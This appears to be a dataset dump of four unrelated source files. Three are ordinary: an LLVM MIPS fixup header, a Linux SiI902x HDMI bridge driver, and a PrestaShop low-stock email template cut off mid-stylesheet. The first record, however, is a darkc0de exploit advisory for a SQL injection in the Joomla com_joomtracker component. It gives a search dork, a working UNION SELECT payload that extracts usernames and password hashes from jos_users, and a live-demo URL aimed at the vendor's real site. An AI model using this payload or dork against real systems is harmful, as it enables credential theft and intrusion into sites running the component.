text
stringlengths
2
100k
meta
dict
################################################################ # .___ __ _______ .___ # # __| _/____ _______| | __ ____ \ _ \ __| _/____ # # / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ # # / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ # # \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ # # \/ \/ \/ # # ___________ ______ _ __ # # _/ ___\_ __ \_/ __ \ \/ \/ / # # \ \___| | \/\ ___/\ / # # \___ >__| \___ >\/\_/ # # est.2007 \/ \/ forum.darkc0de.com # ################################################################ # d3hydr8 - rsauron - baltazar - C1c4Tr1Z - beenu - P47tr1ck # # and all darkc0de members # ################################################################ # # Author: rsauron # # Home : www.darkc0de.com # # Email : [email protected] # # Share the c0de! # ################################################################ # # Type: Joomla Component com_joomtracker Remote SQL Injection Vulnerability # # Title: Joomtracker XBT external bittorrent tracker # # Vendor: http://www.joomtracker.org/ # ################################################################ # # d0rk: "Powered by Joomtracker" # ################################################################ POC :- index.php?option=com_joomtracker&task=tordetails&id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/jos_users/* Live Demo: http://www.joomtracker.org/index.php?option=com_joomtracker&task=tordetails&id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/jos_users/* ################################################################ # Bug discovered : 08 Oct.2008 ################################################################
{ "pile_set_name": "Github" }
//===-- MipsFixupKinds.h - Mips Specific Fixup Entries ----------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #ifndef LLVM_LIB_TARGET_MIPS_MCTARGETDESC_MIPSFIXUPKINDS_H #define LLVM_LIB_TARGET_MIPS_MCTARGETDESC_MIPSFIXUPKINDS_H #include "llvm/MC/MCFixup.h" namespace llvm { namespace Mips { // Although most of the current fixup types reflect a unique relocation // one can have multiple fixup types for a given relocation and thus need // to be uniquely named. // // This table *must* be in the same order of // MCFixupKindInfo Infos[Mips::NumTargetFixupKinds] // in MipsAsmBackend.cpp. // enum Fixups { // Branch fixups resulting in R_MIPS_16. fixup_Mips_16 = FirstTargetFixupKind, // Pure 32 bit data fixup resulting in - R_MIPS_32. fixup_Mips_32, // Full 32 bit data relative data fixup resulting in - R_MIPS_REL32. fixup_Mips_REL32, // Jump 26 bit fixup resulting in - R_MIPS_26. fixup_Mips_26, // Pure upper 16 bit fixup resulting in - R_MIPS_HI16. fixup_Mips_HI16, // Pure lower 16 bit fixup resulting in - R_MIPS_LO16. fixup_Mips_LO16, // 16 bit fixup for GP offest resulting in - R_MIPS_GPREL16. fixup_Mips_GPREL16, // 16 bit literal fixup resulting in - R_MIPS_LITERAL. fixup_Mips_LITERAL, // Symbol fixup resulting in - R_MIPS_GOT16. fixup_Mips_GOT, // PC relative branch fixup resulting in - R_MIPS_PC16. fixup_Mips_PC16, // resulting in - R_MIPS_CALL16. fixup_Mips_CALL16, // resulting in - R_MIPS_GPREL32. fixup_Mips_GPREL32, // resulting in - R_MIPS_SHIFT5. fixup_Mips_SHIFT5, // resulting in - R_MIPS_SHIFT6. fixup_Mips_SHIFT6, // Pure 64 bit data fixup resulting in - R_MIPS_64. fixup_Mips_64, // resulting in - R_MIPS_TLS_GD. fixup_Mips_TLSGD, // resulting in - R_MIPS_TLS_GOTTPREL. fixup_Mips_GOTTPREL, // resulting in - R_MIPS_TLS_TPREL_HI16. fixup_Mips_TPREL_HI, // resulting in - R_MIPS_TLS_TPREL_LO16. fixup_Mips_TPREL_LO, // resulting in - R_MIPS_TLS_LDM. fixup_Mips_TLSLDM, // resulting in - R_MIPS_TLS_DTPREL_HI16. fixup_Mips_DTPREL_HI, // resulting in - R_MIPS_TLS_DTPREL_LO16. fixup_Mips_DTPREL_LO, // PC relative branch fixup resulting in - R_MIPS_PC16 fixup_Mips_Branch_PCRel, // resulting in - R_MIPS_GPREL16/R_MIPS_SUB/R_MIPS_HI16 // R_MICROMIPS_GPREL16/R_MICROMIPS_SUB/R_MICROMIPS_HI16 fixup_Mips_GPOFF_HI, fixup_MICROMIPS_GPOFF_HI, // resulting in - R_MIPS_GPREL16/R_MIPS_SUB/R_MIPS_LO16 // R_MICROMIPS_GPREL16/R_MICROMIPS_SUB/R_MICROMIPS_LO16 fixup_Mips_GPOFF_LO, fixup_MICROMIPS_GPOFF_LO, // resulting in - R_MIPS_PAGE fixup_Mips_GOT_PAGE, // resulting in - R_MIPS_GOT_OFST fixup_Mips_GOT_OFST, // resulting in - R_MIPS_GOT_DISP fixup_Mips_GOT_DISP, // resulting in - R_MIPS_HIGHER/R_MICROMIPS_HIGHER fixup_Mips_HIGHER, fixup_MICROMIPS_HIGHER, // resulting in - R_MIPS_HIGHEST/R_MICROMIPS_HIGHEST fixup_Mips_HIGHEST, fixup_MICROMIPS_HIGHEST, // resulting in - R_MIPS_GOT_HI16 fixup_Mips_GOT_HI16, // resulting in - R_MIPS_GOT_LO16 fixup_Mips_GOT_LO16, // resulting in - R_MIPS_CALL_HI16 fixup_Mips_CALL_HI16, // resulting in - R_MIPS_CALL_LO16 fixup_Mips_CALL_LO16, // resulting in - R_MIPS_PC18_S3 fixup_MIPS_PC18_S3, // resulting in - R_MIPS_PC19_S2 fixup_MIPS_PC19_S2, // resulting in - R_MIPS_PC21_S2 fixup_MIPS_PC21_S2, // resulting in - R_MIPS_PC26_S2 fixup_MIPS_PC26_S2, // resulting in - R_MIPS_PCHI16 fixup_MIPS_PCHI16, // resulting in - R_MIPS_PCLO16 fixup_MIPS_PCLO16, // resulting in - R_MICROMIPS_26_S1 fixup_MICROMIPS_26_S1, // resulting in - R_MICROMIPS_HI16 fixup_MICROMIPS_HI16, // resulting in - R_MICROMIPS_LO16 fixup_MICROMIPS_LO16, // resulting in - R_MICROMIPS_GOT16 fixup_MICROMIPS_GOT16, // resulting in - R_MICROMIPS_PC7_S1 fixup_MICROMIPS_PC7_S1, // resulting in - R_MICROMIPS_PC10_S1 fixup_MICROMIPS_PC10_S1, // resulting in - R_MICROMIPS_PC16_S1 fixup_MICROMIPS_PC16_S1, // resulting in - R_MICROMIPS_PC26_S1 fixup_MICROMIPS_PC26_S1, // resulting in - R_MICROMIPS_PC19_S2 fixup_MICROMIPS_PC19_S2, // resulting in - R_MICROMIPS_PC18_S3 fixup_MICROMIPS_PC18_S3, // resulting in - R_MICROMIPS_PC21_S1 fixup_MICROMIPS_PC21_S1, // resulting in - R_MICROMIPS_CALL16 fixup_MICROMIPS_CALL16, // resulting in - R_MICROMIPS_GOT_DISP fixup_MICROMIPS_GOT_DISP, // resulting in - R_MICROMIPS_GOT_PAGE fixup_MICROMIPS_GOT_PAGE, // resulting in - R_MICROMIPS_GOT_OFST fixup_MICROMIPS_GOT_OFST, // resulting in - R_MICROMIPS_TLS_GD fixup_MICROMIPS_TLS_GD, // resulting in - R_MICROMIPS_TLS_LDM fixup_MICROMIPS_TLS_LDM, // resulting in - R_MICROMIPS_TLS_DTPREL_HI16 fixup_MICROMIPS_TLS_DTPREL_HI16, // resulting in - R_MICROMIPS_TLS_DTPREL_LO16 fixup_MICROMIPS_TLS_DTPREL_LO16, // resulting in - R_MICROMIPS_TLS_GOTTPREL. fixup_MICROMIPS_GOTTPREL, // resulting in - R_MICROMIPS_TLS_TPREL_HI16 fixup_MICROMIPS_TLS_TPREL_HI16, // resulting in - R_MICROMIPS_TLS_TPREL_LO16 fixup_MICROMIPS_TLS_TPREL_LO16, // resulting in - R_MIPS_SUB/R_MICROMIPS_SUB fixup_Mips_SUB, fixup_MICROMIPS_SUB, // resulting in - R_MIPS_JALR/R_MICROMIPS_JALR fixup_Mips_JALR, fixup_MICROMIPS_JALR, // Marker LastTargetFixupKind, NumTargetFixupKinds = LastTargetFixupKind - FirstTargetFixupKind }; } // namespace Mips } // namespace llvm #endif
{ "pile_set_name": "Github" }
/* * Copyright (C) 2016 Atmel * Bo Shen <[email protected]> * * Authors: Bo Shen <[email protected]> * Boris Brezillon <[email protected]> * Wu, Songjun <[email protected]> * * * Copyright (C) 2010-2011 Freescale Semiconductor, Inc. All Rights Reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #include <linux/gpio/consumer.h> #include <linux/i2c.h> #include <linux/module.h> #include <linux/regmap.h> #include <drm/drmP.h> #include <drm/drm_atomic_helper.h> #include <drm/drm_crtc_helper.h> #include <drm/drm_edid.h> #define SII902X_TPI_VIDEO_DATA 0x0 #define SII902X_TPI_PIXEL_REPETITION 0x8 #define SII902X_TPI_AVI_PIXEL_REP_BUS_24BIT BIT(5) #define SII902X_TPI_AVI_PIXEL_REP_RISING_EDGE BIT(4) #define SII902X_TPI_AVI_PIXEL_REP_4X 3 #define SII902X_TPI_AVI_PIXEL_REP_2X 1 #define SII902X_TPI_AVI_PIXEL_REP_NONE 0 #define SII902X_TPI_CLK_RATIO_HALF (0 << 6) #define SII902X_TPI_CLK_RATIO_1X (1 << 6) #define SII902X_TPI_CLK_RATIO_2X (2 << 6) #define SII902X_TPI_CLK_RATIO_4X (3 << 6) #define SII902X_TPI_AVI_IN_FORMAT 0x9 #define SII902X_TPI_AVI_INPUT_BITMODE_12BIT BIT(7) #define SII902X_TPI_AVI_INPUT_DITHER BIT(6) #define SII902X_TPI_AVI_INPUT_RANGE_LIMITED (2 << 2) #define SII902X_TPI_AVI_INPUT_RANGE_FULL (1 << 2) #define SII902X_TPI_AVI_INPUT_RANGE_AUTO (0 << 2) #define SII902X_TPI_AVI_INPUT_COLORSPACE_BLACK (3 << 0) #define SII902X_TPI_AVI_INPUT_COLORSPACE_YUV422 (2 << 0) #define SII902X_TPI_AVI_INPUT_COLORSPACE_YUV444 (1 << 0) #define SII902X_TPI_AVI_INPUT_COLORSPACE_RGB (0 << 0) #define SII902X_TPI_AVI_INFOFRAME 0x0c #define SII902X_SYS_CTRL_DATA 0x1a #define SII902X_SYS_CTRL_PWR_DWN BIT(4) #define SII902X_SYS_CTRL_AV_MUTE BIT(3) #define SII902X_SYS_CTRL_DDC_BUS_REQ BIT(2) #define SII902X_SYS_CTRL_DDC_BUS_GRTD BIT(1) #define SII902X_SYS_CTRL_OUTPUT_MODE BIT(0) #define SII902X_SYS_CTRL_OUTPUT_HDMI 1 #define SII902X_SYS_CTRL_OUTPUT_DVI 0 #define SII902X_REG_CHIPID(n) (0x1b + (n)) #define SII902X_PWR_STATE_CTRL 0x1e #define SII902X_AVI_POWER_STATE_MSK GENMASK(1, 0) #define SII902X_AVI_POWER_STATE_D(l) ((l) & SII902X_AVI_POWER_STATE_MSK) #define SII902X_INT_ENABLE 0x3c #define SII902X_INT_STATUS 0x3d #define SII902X_HOTPLUG_EVENT BIT(0) #define SII902X_PLUGGED_STATUS BIT(2) #define SII902X_REG_TPI_RQB 0xc7 #define SII902X_I2C_BUS_ACQUISITION_TIMEOUT_MS 500 struct sii902x { struct i2c_client *i2c; struct regmap *regmap; struct drm_bridge bridge; struct drm_connector connector; struct gpio_desc *reset_gpio; }; static inline struct sii902x *bridge_to_sii902x(struct drm_bridge *bridge) { return container_of(bridge, struct sii902x, bridge); } static inline struct sii902x *connector_to_sii902x(struct drm_connector *con) { return container_of(con, struct sii902x, connector); } static void sii902x_reset(struct sii902x *sii902x) { if (!sii902x->reset_gpio) return; gpiod_set_value(sii902x->reset_gpio, 1); /* The datasheet says treset-min = 100us. Make it 150us to be sure. */ usleep_range(150, 200); gpiod_set_value(sii902x->reset_gpio, 0); } static enum drm_connector_status sii902x_connector_detect(struct drm_connector *connector, bool force) { struct sii902x *sii902x = connector_to_sii902x(connector); unsigned int status; regmap_read(sii902x->regmap, SII902X_INT_STATUS, &status); return (status & SII902X_PLUGGED_STATUS) ? connector_status_connected : connector_status_disconnected; } static const struct drm_connector_funcs sii902x_connector_funcs = { .detect = sii902x_connector_detect, .fill_modes = drm_helper_probe_single_connector_modes, .destroy = drm_connector_cleanup, .reset = drm_atomic_helper_connector_reset, .atomic_duplicate_state = drm_atomic_helper_connector_duplicate_state, .atomic_destroy_state = drm_atomic_helper_connector_destroy_state, }; static int sii902x_get_modes(struct drm_connector *connector) { struct sii902x *sii902x = connector_to_sii902x(connector); struct regmap *regmap = sii902x->regmap; u32 bus_format = MEDIA_BUS_FMT_RGB888_1X24; struct device *dev = &sii902x->i2c->dev; unsigned long timeout; unsigned int retries; unsigned int status; struct edid *edid; int num = 0; int ret; ret = regmap_update_bits(regmap, SII902X_SYS_CTRL_DATA, SII902X_SYS_CTRL_DDC_BUS_REQ, SII902X_SYS_CTRL_DDC_BUS_REQ); if (ret) return ret; timeout = jiffies + msecs_to_jiffies(SII902X_I2C_BUS_ACQUISITION_TIMEOUT_MS); do { ret = regmap_read(regmap, SII902X_SYS_CTRL_DATA, &status); if (ret) return ret; } while (!(status & SII902X_SYS_CTRL_DDC_BUS_GRTD) && time_before(jiffies, timeout)); if (!(status & SII902X_SYS_CTRL_DDC_BUS_GRTD)) { dev_err(dev, "failed to acquire the i2c bus\n"); return -ETIMEDOUT; } ret = regmap_write(regmap, SII902X_SYS_CTRL_DATA, status); if (ret) return ret; edid = drm_get_edid(connector, sii902x->i2c->adapter); drm_mode_connector_update_edid_property(connector, edid); if (edid) { num = drm_add_edid_modes(connector, edid); kfree(edid); } ret = drm_display_info_set_bus_formats(&connector->display_info, &bus_format, 1); if (ret) return ret; /* * Sometimes the I2C bus can stall after failure to use the * EDID channel. Retry a few times to see if things clear * up, else continue anyway. */ retries = 5; do { ret = regmap_read(regmap, SII902X_SYS_CTRL_DATA, &status); retries--; } while (ret && retries); if (ret) dev_err(dev, "failed to read status (%d)\n", ret); ret = regmap_update_bits(regmap, SII902X_SYS_CTRL_DATA, SII902X_SYS_CTRL_DDC_BUS_REQ | SII902X_SYS_CTRL_DDC_BUS_GRTD, 0); if (ret) return ret; timeout = jiffies + msecs_to_jiffies(SII902X_I2C_BUS_ACQUISITION_TIMEOUT_MS); do { ret = regmap_read(regmap, SII902X_SYS_CTRL_DATA, &status); if (ret) return ret; } while (status & (SII902X_SYS_CTRL_DDC_BUS_REQ | SII902X_SYS_CTRL_DDC_BUS_GRTD) && time_before(jiffies, timeout)); if (status & (SII902X_SYS_CTRL_DDC_BUS_REQ | SII902X_SYS_CTRL_DDC_BUS_GRTD)) { dev_err(dev, "failed to release the i2c bus\n"); return -ETIMEDOUT; } return num; } static enum drm_mode_status sii902x_mode_valid(struct drm_connector *connector, struct drm_display_mode *mode) { /* TODO: check mode */ return MODE_OK; } static const struct drm_connector_helper_funcs sii902x_connector_helper_funcs = { .get_modes = sii902x_get_modes, .mode_valid = sii902x_mode_valid, }; static void sii902x_bridge_disable(struct drm_bridge *bridge) { struct sii902x *sii902x = bridge_to_sii902x(bridge); regmap_update_bits(sii902x->regmap, SII902X_SYS_CTRL_DATA, SII902X_SYS_CTRL_PWR_DWN, SII902X_SYS_CTRL_PWR_DWN); } static void sii902x_bridge_enable(struct drm_bridge *bridge) { struct sii902x *sii902x = bridge_to_sii902x(bridge); regmap_update_bits(sii902x->regmap, SII902X_PWR_STATE_CTRL, SII902X_AVI_POWER_STATE_MSK, SII902X_AVI_POWER_STATE_D(0)); regmap_update_bits(sii902x->regmap, SII902X_SYS_CTRL_DATA, SII902X_SYS_CTRL_PWR_DWN, 0); } static void sii902x_bridge_mode_set(struct drm_bridge *bridge, struct drm_display_mode *mode, struct drm_display_mode *adj) { struct sii902x *sii902x = bridge_to_sii902x(bridge); struct regmap *regmap = sii902x->regmap; u8 buf[HDMI_INFOFRAME_SIZE(AVI)]; struct hdmi_avi_infoframe frame; int ret; buf[0] = adj->clock; buf[1] = adj->clock >> 8; buf[2] = adj->vrefresh; buf[3] = 0x00; buf[4] = adj->hdisplay; buf[5] = adj->hdisplay >> 8; buf[6] = adj->vdisplay; buf[7] = adj->vdisplay >> 8; buf[8] = SII902X_TPI_CLK_RATIO_1X | SII902X_TPI_AVI_PIXEL_REP_NONE | SII902X_TPI_AVI_PIXEL_REP_BUS_24BIT; buf[9] = SII902X_TPI_AVI_INPUT_RANGE_AUTO | SII902X_TPI_AVI_INPUT_COLORSPACE_RGB; ret = regmap_bulk_write(regmap, SII902X_TPI_VIDEO_DATA, buf, 10); if (ret) return; ret = drm_hdmi_avi_infoframe_from_display_mode(&frame, adj, false); if (ret < 0) { DRM_ERROR("couldn't fill AVI infoframe\n"); return; } ret = hdmi_avi_infoframe_pack(&frame, buf, sizeof(buf)); if (ret < 0) { DRM_ERROR("failed to pack AVI infoframe: %d\n", ret); return; } /* Do not send the infoframe header, but keep the CRC field. */ regmap_bulk_write(regmap, SII902X_TPI_AVI_INFOFRAME, buf + HDMI_INFOFRAME_HEADER_SIZE - 1, HDMI_AVI_INFOFRAME_SIZE + 1); } static int sii902x_bridge_attach(struct drm_bridge *bridge) { struct sii902x *sii902x = bridge_to_sii902x(bridge); struct drm_device *drm = bridge->dev; int ret; drm_connector_helper_add(&sii902x->connector, &sii902x_connector_helper_funcs); if (!drm_core_check_feature(drm, DRIVER_ATOMIC)) { dev_err(&sii902x->i2c->dev, "sii902x driver is only compatible with DRM devices supporting atomic updates\n"); return -ENOTSUPP; } ret = drm_connector_init(drm, &sii902x->connector, &sii902x_connector_funcs, DRM_MODE_CONNECTOR_HDMIA); if (ret) return ret; if (sii902x->i2c->irq > 0) sii902x->connector.polled = DRM_CONNECTOR_POLL_HPD; else sii902x->connector.polled = DRM_CONNECTOR_POLL_CONNECT; drm_mode_connector_attach_encoder(&sii902x->connector, bridge->encoder); return 0; } static const struct drm_bridge_funcs sii902x_bridge_funcs = { .attach = sii902x_bridge_attach, .mode_set = sii902x_bridge_mode_set, .disable = sii902x_bridge_disable, .enable = sii902x_bridge_enable, }; static const struct regmap_range sii902x_volatile_ranges[] = { { .range_min = 0, .range_max = 0xff }, }; static const struct regmap_access_table sii902x_volatile_table = { .yes_ranges = sii902x_volatile_ranges, .n_yes_ranges = ARRAY_SIZE(sii902x_volatile_ranges), }; static const struct regmap_config sii902x_regmap_config = { .reg_bits = 8, .val_bits = 8, .volatile_table = &sii902x_volatile_table, .cache_type = REGCACHE_NONE, }; static irqreturn_t sii902x_interrupt(int irq, void *data) { struct sii902x *sii902x = data; unsigned int status = 0; regmap_read(sii902x->regmap, SII902X_INT_STATUS, &status); regmap_write(sii902x->regmap, SII902X_INT_STATUS, status); if ((status & SII902X_HOTPLUG_EVENT) && sii902x->bridge.dev) drm_helper_hpd_irq_event(sii902x->bridge.dev); return IRQ_HANDLED; } static int sii902x_probe(struct i2c_client *client, const struct i2c_device_id *id) { struct device *dev = &client->dev; unsigned int status = 0; struct sii902x *sii902x; u8 chipid[4]; int ret; sii902x = devm_kzalloc(dev, sizeof(*sii902x), GFP_KERNEL); if (!sii902x) return -ENOMEM; sii902x->i2c = client; sii902x->regmap = devm_regmap_init_i2c(client, &sii902x_regmap_config); if (IS_ERR(sii902x->regmap)) return PTR_ERR(sii902x->regmap); sii902x->reset_gpio = devm_gpiod_get_optional(dev, "reset", GPIOD_OUT_LOW); if (IS_ERR(sii902x->reset_gpio)) { dev_err(dev, "Failed to retrieve/request reset gpio: %ld\n", PTR_ERR(sii902x->reset_gpio)); return PTR_ERR(sii902x->reset_gpio); } sii902x_reset(sii902x); ret = regmap_write(sii902x->regmap, SII902X_REG_TPI_RQB, 0x0); if (ret) return ret; ret = regmap_bulk_read(sii902x->regmap, SII902X_REG_CHIPID(0), &chipid, 4); if (ret) { dev_err(dev, "regmap_read failed %d\n", ret); return ret; } if (chipid[0] != 0xb0) { dev_err(dev, "Invalid chipid: %02x (expecting 0xb0)\n", chipid[0]); return -EINVAL; } /* Clear all pending interrupts */ regmap_read(sii902x->regmap, SII902X_INT_STATUS, &status); regmap_write(sii902x->regmap, SII902X_INT_STATUS, status); if (client->irq > 0) { regmap_write(sii902x->regmap, SII902X_INT_ENABLE, SII902X_HOTPLUG_EVENT); ret = devm_request_threaded_irq(dev, client->irq, NULL, sii902x_interrupt, IRQF_ONESHOT, dev_name(dev), sii902x); if (ret) return ret; } sii902x->bridge.funcs = &sii902x_bridge_funcs; sii902x->bridge.of_node = dev->of_node; drm_bridge_add(&sii902x->bridge); i2c_set_clientdata(client, sii902x); return 0; } static int sii902x_remove(struct i2c_client *client) { struct sii902x *sii902x = i2c_get_clientdata(client); drm_bridge_remove(&sii902x->bridge); return 0; } static const struct of_device_id sii902x_dt_ids[] = { { .compatible = "sil,sii9022", }, { } }; MODULE_DEVICE_TABLE(of, sii902x_dt_ids); static const struct i2c_device_id sii902x_i2c_ids[] = { { "sii9022", 0 }, { }, }; MODULE_DEVICE_TABLE(i2c, sii902x_i2c_ids); static struct i2c_driver sii902x_driver = { .probe = sii902x_probe, .remove = sii902x_remove, .driver = { .name = "sii902x", .of_match_table = sii902x_dt_ids, }, .id_table = sii902x_i2c_ids, }; module_i2c_driver(sii902x_driver); MODULE_AUTHOR("Boris Brezillon <[email protected]>"); MODULE_DESCRIPTION("SII902x RGB -> HDMI bridges"); MODULE_LICENSE("GPL");
{ "pile_set_name": "Github" }
{% extends '@MailThemes/modern/components/layout.html.twig' %} {% block title %}{{ 'Product out of stock'|trans({}, 'Emails.Body', locale) }}{% endblock %} {% block content %} <!--[if mso | IE]> <table role="presentation" border="0" cellpadding="0" cellspacing="0"> <tr> <td class="" width="604px" > <table align="center" border="0" cellpadding="0" cellspacing="0" class="" style="width:604px;" width="604" > <tr> <td style="line-height:0px;font-size:0px;mso-line-height-rule:exactly;"> <![endif]--> <div style="margin:0px auto;max-width:604px;"> <table align="center" border="0" cellpadding="0" cellspacing="0" role="presentation" style="width:100%;"> <tbody> <tr> <td style="direction:ltr;font-size:0px;padding:0 25px;text-align:center;"> <!--[if mso | IE]> <table role="presentation" border="0" cellpadding="0" cellspacing="0"> <tr> <td class="" style="vertical-align:top;width:554px;" > <![endif]--> <div class="mj-column-per-100 mj-outlook-group-fix" style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%;"> <table border="0" cellpadding="0" cellspacing="0" role="presentation" width="100%"> <tbody> <tr> <td style="vertical-align:top;padding:0;"> <table border="0" cellpadding="0" cellspacing="0" role="presentation" style="" width="100%"> <!-- TITLE BEGINING --> <tr> <td align="left" style="font-size:0px;padding:10px 25px;padding-top:0;padding-bottom:20px;word-break:break-word;"> <div style="font-family:Open sans, arial, sans-serif;font-size:20px;font-weight:600;line-height:25px;text-align:left;color:#363A41;">{{ 'Hi,'|trans({}, 'Emails.Body', locale) }}</div> </td> </tr> <!-- TITLE ENDING --> </table> </td> </tr> </tbody> </table> </div> <!--[if mso | IE]> </td> </tr> </table> <![endif]--> </td> </tr> </tbody> </table> </div> <!--[if mso | IE]> </td> </tr> </table> </td> </tr> <tr> <td class="" width="604px" > <table align="center" border="0" cellpadding="0" cellspacing="0" class="" style="width:604px;" width="604" > <tr> <td style="line-height:0px;font-size:0px;mso-line-height-rule:exactly;"> <![endif]--> <div style="margin:0px auto;max-width:604px;"> <table align="center" border="0" cellpadding="0" cellspacing="0" role="presentation" style="width:100%;"> <tbody> <tr> <td style="direction:ltr;font-size:0px;padding:0 50px 40px;text-align:left;"> <!--[if mso | IE]> <table role="presentation" border="0" cellpadding="0" cellspacing="0"> <tr> <td class="" style="vertical-align:top;width:25px;" > <![endif]--> <div class="mj-column-px-25 mj-outlook-group-fix" style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%;"> <table border="0" cellpadding="0" cellspacing="0" role="presentation" style="vertical-align:top;" width="100%"> <tr> <td class="left" style="font-size:0px;padding:10px 25px;padding-top:0;padding-right:0;padding-left:0;word-break:break-word;"> <p style="border-top:solid 3px #505050;font-size:1px;margin:0px auto;width:25px;"> </p> <!--[if mso | IE]> <table align="center" border="0" cellpadding="0" cellspacing="0" style="border-top:solid 3px #505050;font-size:1px;margin:0px auto;width:25px;" role="presentation" width="25px" > <tr> <td style="height:0;line-height:0;"> &nbsp; </td> </tr> </table> <![endif]--> </td> </tr> </table> </div> <!--[if mso | IE]> </td> </tr> </table> <![endif]--> </td> </tr> </tbody> </table> </div> <!--[if mso | IE]> </td> </tr> </table> </td> </tr> <![endif]--> <!-- BORDER ENDING --> <!-- SUBTITLE BEGINING --> <!--[if mso | IE]> <tr> <td class="" width="604px" > <table align="center" border="0" cellpadding="0" cellspacing="0" class="" style="width:604px;" width="604" > <tr> <td style="line-height:0px;font-size:0px;mso-line-height-rule:exactly;"> <![endif]--> <div style="margin:0px auto;max-width:604px;"> <table align="center" border="0" cellpadding="0" cellspacing="0" role="presentation" style="width:100%;"> <tbody> <tr> <td style="direction:ltr;font-size:0px;padding:0 25px 0;text-align:center;"> <!--[if mso | IE]> <table role="presentation" border="0" cellpadding="0" cellspacing="0"> <tr> <td class="" style="vertical-align:top;width:554px;" > <![endif]--> <div class="mj-column-per-100 mj-outlook-group-fix" style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%;"> <table border="0" cellpadding="0" cellspacing="0" role="presentation" width="100%"> <tbody> <tr> <td style="vertical-align:top;padding:0;"> <table border="0" cellpadding="0" cellspacing="0" role="presentation" style="" width="100%"> <tr> <td align="left" style="font-size:0px;padding:10px 25px;padding-top:0px;padding-bottom:0px;word-break:break-word;"> <div style="font-family:Open sans, arial, sans-serif;font-size:16px;font-weight:600;line-height:25px;text-align:left;color:#363A41;">{{ '{product} is almost out of stock.'|trans({}, 'Emails.Body', locale)|raw }}</div> </td> </tr> </table> </td> </tr> </tbody> </table> </div> <!--[if mso | IE]> </td> </tr> </table> <![endif]--> </td> </tr> </tbody> </table> </div> <!--[if mso | IE]> </td> </tr> </table> </td> </tr> <![endif]--> <!-- SUBTITLE ENDING --> <!-- BOX BEGINING --> <!--[if mso | IE]> <tr> <td class="" width="604px" > <table align="center" border="0" cellpadding="0" cellspacing="0" class="" style="width:604px;" width="604" > <tr> <td style="line-height:0px;font-size:0px;mso-line-height-rule:exactly;"> <![endif]--> <div style="margin:0px auto;max-width:604px;"> <table align="center" border="0" cellpadding="0" cellspacing="0" role="presentation" style="width:100%;"> <tbody> <tr> <td style="direction:ltr;font-size:0px;padding:15px 50px 40px;text-align:center;"> <!--[if mso | IE]> <table role="presentation" border="0" cellpadding="0" cellspacing="0"> <tr> <td class="" style="vertical-align:top;width:504px;" > <![endif]--> <div class="mj-column-per-100 mj-outlook-group-fix" style="font-size:0px;text-align:left;direction:ltr;display:inline-block;vertical-align:top;width:100%;"> <table border="0" cellpadding="0" cellspacing="0" role="presentation" width="100%"> <tbody> <tr> <td style="background-color:#fefefe;border:1px solid #DFDFDF;vertical-align:top;padding-top:10px;padding-bottom:10px;"> <table border="0" cellpadding="0" cellspacing="0" role="presentation" style="" width="100%"> <tr> <td align="left" style="font-size:0px;padding:10px 25px;word-break:break-word;"> <div style="font-family:Open sans, arial, sans-serif;font-size:14px;line-height:25px;text-align:left;color:#363A41;">{{ 'There are now less than [1]{last_qty}[/1] items in stock.'|trans({'[1]': '<span class="label">', '[/1]': '</span>'}, 'Emails.Body', locale)|raw }}</div> </td> </tr> <tr> <td align="left" style="font-size:0px;padding:10px 25px;padding-top:0;word-break:break-word;"> <div style="font-family:Open sans, arial, sans-serif;font-size:14px;line-height:25px;text-align:left;color:#363A41;"><span class="warning">{{ 'Remaining stock:'|trans({}, 'Emails.Body', locale)|raw }}</span> {qty}</div> </td> </tr> <tr> <td align="left" style="font-size:0px;padding:10px 25px;padding-top:0;word-break:break-word;"> <div style="font-family:Open sans, arial, sans-serif;font-size:14px;line-height:25px;text-align:left;color:#363A41;">{{ 'Replenish your inventory, go to the [1]Catalog > Stocks[/1] section of your back office to manage your stock.'|trans({'[1]': '<span class="label">', '[/1]': '</span>'}, 'Emails.Body', locale)|raw }}</div> </td> </tr> </table> </td> </tr> </tbody> </table> </div> <!--[if mso | IE]> </td> </tr> </table> <![endif]--> </td> </tr> </tbody> </table> </div> <!--[if mso | IE]> </td> </tr> </table> </td> </tr> <![endif]--> <!-- BOX ENDING --> <!--[if mso | IE]> </table> <![endif]--> {% endblock %} {% block styles %} {{ parent() }} <style type="text/css"> #outlook a { padding: 0; } body { margin: 0; padding: 0; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } table, td { border-collapse: collapse; mso-table-lspace: 0pt; mso-table-rspace: 0pt; } img { border: 0; height: auto; line-height: 100%; outline: none; text-decoration: none; -ms-interpolation-mode: bicubic; } p { display: block; margin: 13px 0; } </style><style type="text/css"> @import url(https://fonts.googleapis.com/css?family=Open+Sans:300,400,500,700); @import url(https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i); </style><style type="text/css"> @media only screen and (min-width:480px) { .mj-column-per-100 { width: 100% !important; max-width: 100%; } .mj-column-px-25 { width: 25px !important; max-width: 25px; } } </style><style type="text/css"> </style><style type="text/css"> .shadow { box-shadow: 0 20px 30px 0 rgba(0, 0, 0, 0.1); } .label { font-weight: 700; } .warning { font-weight: 700; font-size: 16px; } a { color: #25B9D7; text-decoration: underline; font-weight: 